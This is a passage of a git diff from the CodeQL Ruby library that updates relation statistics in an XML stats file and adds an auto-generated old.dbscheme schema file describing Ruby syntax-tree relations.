                                     <b>2</b>
-                                    <v>218</v>
+                                    <v>206</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20746,7 +20863,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>218</v>
+                                    <v>206</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20762,7 +20879,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>218</v>
+                                    <v>206</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20778,7 +20895,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>218</v>
+                                    <v>206</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20794,7 +20911,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>218</v>
+                                    <v>206</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20826,7 +20943,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20846,15 +20963,15 @@
         </relation>
         <relation>
             <name>ruby_when_body</name>
-            <cardinality>3194</cardinality>
+            <cardinality>3208</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_when</k>
-                    <v>3194</v>
+                    <v>3208</v>
                 </e>
                 <e>
                     <k>body</k>
-                    <v>3194</v>
+                    <v>3208</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -20868,7 +20985,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3194</v>
+                                    <v>3208</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20884,7 +21001,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3194</v>
+                                    <v>3208</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20894,22 +21011,22 @@
         </relation>
         <relation>
             <name>ruby_when_def</name>
-            <cardinality>3229</cardinality>
+            <cardinality>3239</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>3229</v>
+                    <v>3239</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_when_pattern</name>
-            <cardinality>3878</cardinality>
+            <cardinality>3895</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_when</k>
-                    <v>3229</v>
+                    <v>3239</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -20917,7 +21034,7 @@
                 </e>
                 <e>
                     <k>pattern</k>
-                    <v>3878</v>
+                    <v>3895</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -20931,7 +21048,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2822</v>
+                                    <v>2830</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -20941,7 +21058,7 @@
                                 <b>
                                     <a>3</a>
                                     <b>15</b>
-                                    <v>100</v>
+                                    <v>103</v>
                                 </b>
                             </bs>
                         </hist>
@@ -20957,7 +21074,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2822</v>
+                                    <v>2830</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -20967,7 +21084,7 @@
                                 <b>
                                     <a>3</a>
                                     <b>15</b>
-                                    <v>100</v>
+                                    <v>103</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21006,18 +21123,18 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>32</a>
-                                    <b>33</b>
+                                    <a>33</a>
+                                    <b>34</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>129</a>
-                                    <b>130</b>
+                                    <a>130</a>
+                                    <b>131</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>1025</a>
-                                    <b>1026</b>
+                                    <a>1028</a>
+                                    <b>1029</b>
                                     <v>3</v>
                                 </b>
                             </bs>
@@ -21057,18 +21174,18 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>32</a>
-                                    <b>33</b>
+                                    <a>33</a>
+                                    <b>34</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>129</a>
-                                    <b>130</b>
+                                    <a>130</a>
+                                    <b>131</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>1025</a>
-                                    <b>1026</b>
+                                    <a>1028</a>
+                                    <b>1029</b>
                                     <v>3</v>
                                 </b>
                             </bs>
@@ -21085,7 +21202,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3878</v>
+                                    <v>3895</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21101,7 +21218,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3878</v>
+                                    <v>3895</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21111,19 +21228,19 @@
         </relation>
         <relation>
             <name>ruby_while_def</name>
-            <cardinality>1344</cardinality>
+            <cardinality>1335</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1344</v>
+                    <v>1335</v>
                 </e>
                 <e>
                     <k>body</k>
-                    <v>1344</v>
+                    <v>1335</v>
                 </e>
                 <e>
                     <k>condition</k>
-                    <v>1344</v>
+                    <v>1335</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -21137,7 +21254,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1344</v>
+                                    <v>1335</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21153,7 +21270,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1344</v>
+                                    <v>1335</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21169,7 +21286,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1344</v>
+                                    <v>1335</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21185,7 +21302,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1344</v>
+                                    <v>1335</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21201,7 +21318,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1344</v>
+                                    <v>1335</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21217,7 +21334,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1344</v>
+                                    <v>1335</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21227,19 +21344,19 @@
         </relation>
         <relation>
             <name>ruby_while_modifier_def</name>
-            <cardinality>184</cardinality>
+            <cardinality>179</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>184</v>
+                    <v>179</v>
                 </e>
                 <e>
                     <k>body</k>
-                    <v>184</v>
+                    <v>179</v>
                 </e>
                 <e>
                     <k>condition</k>
-                    <v>184</v>
+                    <v>179</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -21253,7 +21370,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>184</v>
+                                    <v>179</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21269,7 +21386,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>184</v>
+                                    <v>179</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21285,7 +21402,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>184</v>
+                                    <v>179</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21301,7 +21418,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>184</v>
+                                    <v>179</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21317,7 +21434,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>184</v>
+                                    <v>179</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21333,7 +21450,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>184</v>
+                                    <v>179</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21343,15 +21460,15 @@
         </relation>
         <relation>
             <name>ruby_yield_child</name>
-            <cardinality>1115</cardinality>
+            <cardinality>1112</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_yield</k>
-                    <v>1115</v>
+                    <v>1112</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>1115</v>
+                    <v>1112</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -21365,7 +21482,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1115</v>
+                                    <v>1112</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21381,7 +21498,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1115</v>
+                                    <v>1112</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21391,11 +21508,11 @@
         </relation>
         <relation>
             <name>ruby_yield_def</name>
-            <cardinality>2406</cardinality>
+            <cardinality>2385</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>2406</v>
+                    <v>2385</v>
                 </e>
             </columnsizes>
             <dependencies/>
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/old.dbscheme b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/old.dbscheme
new file mode 100644
index 00000000000..9fdd1d40fd3
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/old.dbscheme
@@ -0,0 +1,1393 @@
+// CodeQL database schema for Ruby
+// Automatically generated from the tree-sitter grammar; do not edit
+
+@location = @location_default
+
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int start_line: int ref,
+  int start_column: int ref,
+  int end_line: int ref,
+  int end_column: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @file | @folder
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+sourceLocationPrefix(
+  string prefix: string ref
+);
+
+diagnostics(
+  unique int id: @diagnostic,
+  int severity: int ref,
+  string error_tag: string ref,
+  string error_message: string ref,
+  string full_error_message: string ref,
+  int location: @location_default ref
+);
+
+case @diagnostic.severity of
+  10 = @diagnostic_debug
+| 20 = @diagnostic_info
+| 30 = @diagnostic_warning
+| 40 = @diagnostic_error
+;
+
+
+@ruby_underscore_arg = @ruby_assignment | @ruby_binary | @ruby_conditional | @ruby_operator_assignment | @ruby_range | @ruby_unary | @ruby_underscore_primary
+
+@ruby_underscore_expression = @ruby_assignment | @ruby_binary | @ruby_break | @ruby_call | @ruby_next | @ruby_operator_assignment | @ruby_return | @ruby_unary | @ruby_underscore_arg | @ruby_yield
+
+@ruby_underscore_lhs = @ruby_call | @ruby_element_reference | @ruby_scope_resolution | @ruby_token_false | @ruby_token_nil | @ruby_token_true | @ruby_underscore_variable
+
+@ruby_underscore_method_name = @ruby_delimited_symbol | @ruby_setter | @ruby_token_constant | @ruby_token_identifier | @ruby_token_operator | @ruby_token_simple_symbol | @ruby_underscore_nonlocal_variable
+
+@ruby_underscore_nonlocal_variable = @ruby_token_class_variable | @ruby_token_global_variable | @ruby_token_instance_variable
+
+@ruby_underscore_pattern_constant = @ruby_scope_resolution | @ruby_token_constant
+
+@ruby_underscore_pattern_expr = @ruby_alternative_pattern | @ruby_as_pattern | @ruby_underscore_pattern_expr_basic
+
+@ruby_underscore_pattern_expr_basic = @ruby_array_pattern | @ruby_expression_reference_pattern | @ruby_find_pattern | @ruby_hash_pattern | @ruby_parenthesized_pattern | @ruby_range | @ruby_token_identifier | @ruby_underscore_pattern_constant | @ruby_underscore_pattern_primitive | @ruby_variable_reference_pattern
+
+@ruby_underscore_pattern_primitive = @ruby_delimited_symbol | @ruby_lambda | @ruby_regex | @ruby_string__ | @ruby_string_array | @ruby_symbol_array | @ruby_token_encoding | @ruby_token_false | @ruby_token_file | @ruby_token_line | @ruby_token_nil | @ruby_token_self | @ruby_token_simple_symbol | @ruby_token_true | @ruby_unary | @ruby_underscore_simple_numeric
+
+@ruby_underscore_pattern_top_expr_body = @ruby_array_pattern | @ruby_find_pattern | @ruby_hash_pattern | @ruby_underscore_pattern_expr
+
+@ruby_underscore_primary = @ruby_array | @ruby_begin | @ruby_break | @ruby_case__ | @ruby_case_match | @ruby_chained_string | @ruby_class | @ruby_delimited_symbol | @ruby_for | @ruby_hash | @ruby_if | @ruby_lambda | @ruby_method | @ruby_module | @ruby_next | @ruby_parenthesized_statements | @ruby_redo | @ruby_regex | @ruby_retry | @ruby_return | @ruby_singleton_class | @ruby_singleton_method | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_symbol_array | @ruby_token_character | @ruby_token_heredoc_beginning | @ruby_token_simple_symbol | @ruby_unary | @ruby_underscore_lhs | @ruby_underscore_simple_numeric | @ruby_unless | @ruby_until | @ruby_while | @ruby_yield
+
+@ruby_underscore_simple_numeric = @ruby_rational | @ruby_token_complex | @ruby_token_float | @ruby_token_integer
+
+@ruby_underscore_statement = @ruby_alias | @ruby_begin_block | @ruby_end_block | @ruby_if_modifier | @ruby_rescue_modifier | @ruby_undef | @ruby_underscore_expression | @ruby_unless_modifier | @ruby_until_modifier | @ruby_while_modifier
+
+@ruby_underscore_variable = @ruby_token_constant | @ruby_token_identifier | @ruby_token_self | @ruby_token_super | @ruby_underscore_nonlocal_variable
+
+ruby_alias_def(
+  unique int id: @ruby_alias,
+  int alias: @ruby_underscore_method_name ref,
+  int name: @ruby_underscore_method_name ref
+);
+
+#keyset[ruby_alternative_pattern, index]
+ruby_alternative_pattern_alternatives(
+  int ruby_alternative_pattern: @ruby_alternative_pattern ref,
+  int index: int ref,
+  unique int alternatives: @ruby_underscore_pattern_expr_basic ref
+);
+
+ruby_alternative_pattern_def(
+  unique int id: @ruby_alternative_pattern
+);
+
+@ruby_argument_list_child_type = @ruby_block_argument | @ruby_hash_splat_argument | @ruby_pair | @ruby_splat_argument | @ruby_token_forward_argument | @ruby_underscore_expression
+
+#keyset[ruby_argument_list, index]
+ruby_argument_list_child(
+  int ruby_argument_list: @ruby_argument_list ref,
+  int index: int ref,
+  unique int child: @ruby_argument_list_child_type ref
+);
+
+ruby_argument_list_def(
+  unique int id: @ruby_argument_list
+);
+
+@ruby_array_child_type = @ruby_block_argument | @ruby_hash_splat_argument | @ruby_pair | @ruby_splat_argument | @ruby_token_forward_argument | @ruby_underscore_expression
+
+#keyset[ruby_array, index]
+ruby_array_child(
+  int ruby_array: @ruby_array ref,
+  int index: int ref,
+  unique int child: @ruby_array_child_type ref
+);
+
+ruby_array_def(
+  unique int id: @ruby_array
+);
+
+ruby_array_pattern_class(
+  unique int ruby_array_pattern: @ruby_array_pattern ref,
+  unique int class: @ruby_underscore_pattern_constant ref
+);
+
+@ruby_array_pattern_child_type = @ruby_splat_parameter | @ruby_underscore_pattern_expr
+
+#keyset[ruby_array_pattern, index]
+ruby_array_pattern_child(
+  int ruby_array_pattern: @ruby_array_pattern ref,
+  int index: int ref,
+  unique int child: @ruby_array_pattern_child_type ref
+);
+
+ruby_array_pattern_def(
+  unique int id: @ruby_array_pattern
+);
+
+ruby_as_pattern_def(
+  unique int id: @ruby_as_pattern,
+  int name: @ruby_token_identifier ref,
+  int value: @ruby_underscore_pattern_expr ref
+);
+
+@ruby_assignment_left_type = @ruby_left_assignment_list | @ruby_underscore_lhs
+
+@ruby_assignment_right_type = @ruby_right_assignment_list | @ruby_splat_argument | @ruby_underscore_expression
+
+ruby_assignment_def(
+  unique int id: @ruby_assignment,
+  int left: @ruby_assignment_left_type ref,
+  int right: @ruby_assignment_right_type ref
+);
+
+@ruby_bare_string_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_bare_string, index]
+ruby_bare_string_child(
+  int ruby_bare_string: @ruby_bare_string ref,
+  int index: int ref,
+  unique int child: @ruby_bare_string_child_type ref
+);
+
+ruby_bare_string_def(
+  unique int id: @ruby_bare_string
+);
+
+@ruby_bare_symbol_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_bare_symbol, index]
+ruby_bare_symbol_child(
+  int ruby_bare_symbol: @ruby_bare_symbol ref,
+  int index: int ref,
+  unique int child: @ruby_bare_symbol_child_type ref
+);
+
+ruby_bare_symbol_def(
+  unique int id: @ruby_bare_symbol
+);
+
+@ruby_begin_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_begin, index]
+ruby_begin_child(
+  int ruby_begin: @ruby_begin ref,
+  int index: int ref,
+  unique int child: @ruby_begin_child_type ref
+);
+
+ruby_begin_def(
+  unique int id: @ruby_begin
+);
+
+@ruby_begin_block_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_begin_block, index]
+ruby_begin_block_child(
+  int ruby_begin_block: @ruby_begin_block ref,
+  int index: int ref,
+  unique int child: @ruby_begin_block_child_type ref
+);
+
+ruby_begin_block_def(
+  unique int id: @ruby_begin_block
+);
+
+case @ruby_binary.operator of
+  0 = @ruby_binary_bangequal
+| 1 = @ruby_binary_bangtilde
+| 2 = @ruby_binary_percent
+| 3 = @ruby_binary_ampersand
+| 4 = @ruby_binary_ampersandampersand
+| 5 = @ruby_binary_star
+| 6 = @ruby_binary_starstar
+| 7 = @ruby_binary_plus
+| 8 = @ruby_binary_minus
+| 9 = @ruby_binary_slash
+| 10 = @ruby_binary_langle
+| 11 = @ruby_binary_langlelangle
+| 12 = @ruby_binary_langleequal
+| 13 = @ruby_binary_langleequalrangle
+| 14 = @ruby_binary_equalequal
+| 15 = @ruby_binary_equalequalequal
+| 16 = @ruby_binary_equaltilde
+| 17 = @ruby_binary_rangle
+| 18 = @ruby_binary_rangleequal
+| 19 = @ruby_binary_ranglerangle
+| 20 = @ruby_binary_caret
+| 21 = @ruby_binary_and
+| 22 = @ruby_binary_or
+| 23 = @ruby_binary_pipe
+| 24 = @ruby_binary_pipepipe
+;
+
+
+ruby_binary_def(
+  unique int id: @ruby_binary,
+  int left: @ruby_underscore_expression ref,
+  int operator: int ref,
+  int right: @ruby_underscore_expression ref
+);
+
+ruby_block_parameters(
+  unique int ruby_block: @ruby_block ref,
+  unique int parameters: @ruby_block_parameters ref
+);
+
+@ruby_block_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_block, index]
+ruby_block_child(
+  int ruby_block: @ruby_block ref,
+  int index: int ref,
+  unique int child: @ruby_block_child_type ref
+);
+
+ruby_block_def(
+  unique int id: @ruby_block
+);
+
+ruby_block_argument_child(
+  unique int ruby_block_argument: @ruby_block_argument ref,
+  unique int child: @ruby_underscore_arg ref
+);
+
+ruby_block_argument_def(
+  unique int id: @ruby_block_argument
+);
+
+ruby_block_parameter_name(
+  unique int ruby_block_parameter: @ruby_block_parameter ref,
+  unique int name: @ruby_token_identifier ref
+);
+
+ruby_block_parameter_def(
+  unique int id: @ruby_block_parameter
+);
+
+@ruby_block_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_block_parameters, index]
+ruby_block_parameters_child(
+  int ruby_block_parameters: @ruby_block_parameters ref,
+  int index: int ref,
+  unique int child: @ruby_block_parameters_child_type ref
+);
+
+ruby_block_parameters_def(
+  unique int id: @ruby_block_parameters
+);
+
+ruby_break_child(
+  unique int ruby_break: @ruby_break ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_break_def(
+  unique int id: @ruby_break
+);
+
+ruby_call_arguments(
+  unique int ruby_call: @ruby_call ref,
+  unique int arguments: @ruby_argument_list ref
+);
+
+@ruby_call_block_type = @ruby_block | @ruby_do_block
+
+ruby_call_block(
+  unique int ruby_call: @ruby_call ref,
+  unique int block: @ruby_call_block_type ref
+);
+
+@ruby_call_method_type = @ruby_argument_list | @ruby_scope_resolution | @ruby_token_operator | @ruby_underscore_variable
+
+@ruby_call_receiver_type = @ruby_call | @ruby_underscore_primary
+
+ruby_call_receiver(
+  unique int ruby_call: @ruby_call ref,
+  unique int receiver: @ruby_call_receiver_type ref
+);
+
+ruby_call_def(
+  unique int id: @ruby_call,
+  int method: @ruby_call_method_type ref
+);
+
+ruby_case_value(
+  unique int ruby_case__: @ruby_case__ ref,
+  unique int value: @ruby_underscore_statement ref
+);
+
+@ruby_case_child_type = @ruby_else | @ruby_when
+
+#keyset[ruby_case__, index]
+ruby_case_child(
+  int ruby_case__: @ruby_case__ ref,
+  int index: int ref,
+  unique int child: @ruby_case_child_type ref
+);
+
+ruby_case_def(
+  unique int id: @ruby_case__
+);
+
+#keyset[ruby_case_match, index]
+ruby_case_match_clauses(
+  int ruby_case_match: @ruby_case_match ref,
+  int index: int ref,
+  unique int clauses: @ruby_in_clause ref
+);
+
+ruby_case_match_else(
+  unique int ruby_case_match: @ruby_case_match ref,
+  unique int else: @ruby_else ref
+);
+
+ruby_case_match_def(
+  unique int id: @ruby_case_match,
+  int value: @ruby_underscore_statement ref
+);
+
+#keyset[ruby_chained_string, index]
+ruby_chained_string_child(
+  int ruby_chained_string: @ruby_chained_string ref,
+  int index: int ref,
+  unique int child: @ruby_string__ ref
+);
+
+ruby_chained_string_def(
+  unique int id: @ruby_chained_string
+);
+
+@ruby_class_name_type = @ruby_scope_resolution | @ruby_token_constant
+
+ruby_class_superclass(
+  unique int ruby_class: @ruby_class ref,
+  unique int superclass: @ruby_superclass ref
+);
+
+@ruby_class_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_class, index]
+ruby_class_child(
+  int ruby_class: @ruby_class ref,
+  int index: int ref,
+  unique int child: @ruby_class_child_type ref
+);
+
+ruby_class_def(
+  unique int id: @ruby_class,
+  int name: @ruby_class_name_type ref
+);
+
+ruby_conditional_def(
+  unique int id: @ruby_conditional,
+  int alternative: @ruby_underscore_arg ref,
+  int condition: @ruby_underscore_arg ref,
+  int consequence: @ruby_underscore_arg ref
+);
+
+@ruby_delimited_symbol_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_delimited_symbol, index]
+ruby_delimited_symbol_child(
+  int ruby_delimited_symbol: @ruby_delimited_symbol ref,
+  int index: int ref,
+  unique int child: @ruby_delimited_symbol_child_type ref
+);
+
+ruby_delimited_symbol_def(
+  unique int id: @ruby_delimited_symbol
+);
+
+@ruby_destructured_left_assignment_child_type = @ruby_destructured_left_assignment | @ruby_rest_assignment | @ruby_underscore_lhs
+
+#keyset[ruby_destructured_left_assignment, index]
+ruby_destructured_left_assignment_child(
+  int ruby_destructured_left_assignment: @ruby_destructured_left_assignment ref,
+  int index: int ref,
+  unique int child: @ruby_destructured_left_assignment_child_type ref
+);
+
+ruby_destructured_left_assignment_def(
+  unique int id: @ruby_destructured_left_assignment
+);
+
+@ruby_destructured_parameter_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_destructured_parameter, index]
+ruby_destructured_parameter_child(
+  int ruby_destructured_parameter: @ruby_destructured_parameter ref,
+  int index: int ref,
+  unique int child: @ruby_destructured_parameter_child_type ref
+);
+
+ruby_destructured_parameter_def(
+  unique int id: @ruby_destructured_parameter
+);
+
+@ruby_do_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_do, index]
+ruby_do_child(
+  int ruby_do: @ruby_do ref,
+  int index: int ref,
+  unique int child: @ruby_do_child_type ref
+);
+
+ruby_do_def(
+  unique int id: @ruby_do
+);
+
+ruby_do_block_parameters(
+  unique int ruby_do_block: @ruby_do_block ref,
+  unique int parameters: @ruby_block_parameters ref
+);
+
+@ruby_do_block_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_do_block, index]
+ruby_do_block_child(
+  int ruby_do_block: @ruby_do_block ref,
+  int index: int ref,
+  unique int child: @ruby_do_block_child_type ref
+);
+
+ruby_do_block_def(
+  unique int id: @ruby_do_block
+);
+
+@ruby_element_reference_child_type = @ruby_block_argument | @ruby_hash_splat_argument | @ruby_pair | @ruby_splat_argument | @ruby_token_forward_argument | @ruby_underscore_expression
+
+#keyset[ruby_element_reference, index]
+ruby_element_reference_child(
+  int ruby_element_reference: @ruby_element_reference ref,
+  int index: int ref,
+  unique int child: @ruby_element_reference_child_type ref
+);
+
+ruby_element_reference_def(
+  unique int id: @ruby_element_reference,
+  int object: @ruby_underscore_primary ref
+);
+
+@ruby_else_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_else, index]
+ruby_else_child(
+  int ruby_else: @ruby_else ref,
+  int index: int ref,
+  unique int child: @ruby_else_child_type ref
+);
+
+ruby_else_def(
+  unique int id: @ruby_else
+);
+
+@ruby_elsif_alternative_type = @ruby_else | @ruby_elsif
+
+ruby_elsif_alternative(
+  unique int ruby_elsif: @ruby_elsif ref,
+  unique int alternative: @ruby_elsif_alternative_type ref
+);
+
+ruby_elsif_consequence(
+  unique int ruby_elsif: @ruby_elsif ref,
+  unique int consequence: @ruby_then ref
+);
+
+ruby_elsif_def(
+  unique int id: @ruby_elsif,
+  int condition: @ruby_underscore_statement ref
+);
+
+@ruby_end_block_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_end_block, index]
+ruby_end_block_child(
+  int ruby_end_block: @ruby_end_block ref,
+  int index: int ref,
+  unique int child: @ruby_end_block_child_type ref
+);
+
+ruby_end_block_def(
+  unique int id: @ruby_end_block
+);
+
+@ruby_ensure_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_ensure, index]
+ruby_ensure_child(
+  int ruby_ensure: @ruby_ensure ref,
+  int index: int ref,
+  unique int child: @ruby_ensure_child_type ref
+);
+
+ruby_ensure_def(
+  unique int id: @ruby_ensure
+);
+
+ruby_exception_variable_def(
+  unique int id: @ruby_exception_variable,
+  int child: @ruby_underscore_lhs ref
+);
+
+@ruby_exceptions_child_type = @ruby_splat_argument | @ruby_underscore_arg
+
+#keyset[ruby_exceptions, index]
+ruby_exceptions_child(
+  int ruby_exceptions: @ruby_exceptions ref,
+  int index: int ref,
+  unique int child: @ruby_exceptions_child_type ref
+);
+
+ruby_exceptions_def(
+  unique int id: @ruby_exceptions
+);
+
+ruby_expression_reference_pattern_def(
+  unique int id: @ruby_expression_reference_pattern,
+  int value: @ruby_underscore_expression ref
+);
+
+ruby_find_pattern_class(
+  unique int ruby_find_pattern: @ruby_find_pattern ref,
+  unique int class: @ruby_underscore_pattern_constant ref
+);
+
+@ruby_find_pattern_child_type = @ruby_splat_parameter | @ruby_underscore_pattern_expr
+
+#keyset[ruby_find_pattern, index]
+ruby_find_pattern_child(
+  int ruby_find_pattern: @ruby_find_pattern ref,
+  int index: int ref,
+  unique int child: @ruby_find_pattern_child_type ref
+);
+
+ruby_find_pattern_def(
+  unique int id: @ruby_find_pattern
+);
+
+@ruby_for_pattern_type = @ruby_left_assignment_list | @ruby_underscore_lhs
+
+ruby_for_def(
+  unique int id: @ruby_for,
+  int body: @ruby_do ref,
+  int pattern: @ruby_for_pattern_type ref,
+  int value: @ruby_in ref
+);
+
+@ruby_hash_child_type = @ruby_hash_splat_argument | @ruby_pair
+
+#keyset[ruby_hash, index]
+ruby_hash_child(
+  int ruby_hash: @ruby_hash ref,
+  int index: int ref,
+  unique int child: @ruby_hash_child_type ref
+);
+
+ruby_hash_def(
+  unique int id: @ruby_hash
+);
+
+ruby_hash_pattern_class(
+  unique int ruby_hash_pattern: @ruby_hash_pattern ref,
+  unique int class: @ruby_underscore_pattern_constant ref
+);
+
+@ruby_hash_pattern_child_type = @ruby_hash_splat_parameter | @ruby_keyword_pattern | @ruby_token_hash_splat_nil
+
+#keyset[ruby_hash_pattern, index]
+ruby_hash_pattern_child(
+  int ruby_hash_pattern: @ruby_hash_pattern ref,
+  int index: int ref,
+  unique int child: @ruby_hash_pattern_child_type ref
+);
+
+ruby_hash_pattern_def(
+  unique int id: @ruby_hash_pattern
+);
+
+ruby_hash_splat_argument_def(
+  unique int id: @ruby_hash_splat_argument,
+  int child: @ruby_underscore_arg ref
+);
+
+ruby_hash_splat_parameter_name(
+  unique int ruby_hash_splat_parameter: @ruby_hash_splat_parameter ref,
+  unique int name: @ruby_token_identifier ref
+);
+
+ruby_hash_splat_parameter_def(
+  unique int id: @ruby_hash_splat_parameter
+);
+
+@ruby_heredoc_body_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_heredoc_content | @ruby_token_heredoc_end
+
+#keyset[ruby_heredoc_body, index]
+ruby_heredoc_body_child(
+  int ruby_heredoc_body: @ruby_heredoc_body ref,
+  int index: int ref,
+  unique int child: @ruby_heredoc_body_child_type ref
+);
+
+ruby_heredoc_body_def(
+  unique int id: @ruby_heredoc_body
+);
+
+@ruby_if_alternative_type = @ruby_else | @ruby_elsif
+
+ruby_if_alternative(
+  unique int ruby_if: @ruby_if ref,
+  unique int alternative: @ruby_if_alternative_type ref
+);
+
+ruby_if_consequence(
+  unique int ruby_if: @ruby_if ref,
+  unique int consequence: @ruby_then ref
+);
+
+ruby_if_def(
+  unique int id: @ruby_if,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_if_guard_def(
+  unique int id: @ruby_if_guard,
+  int condition: @ruby_underscore_expression ref
+);
+
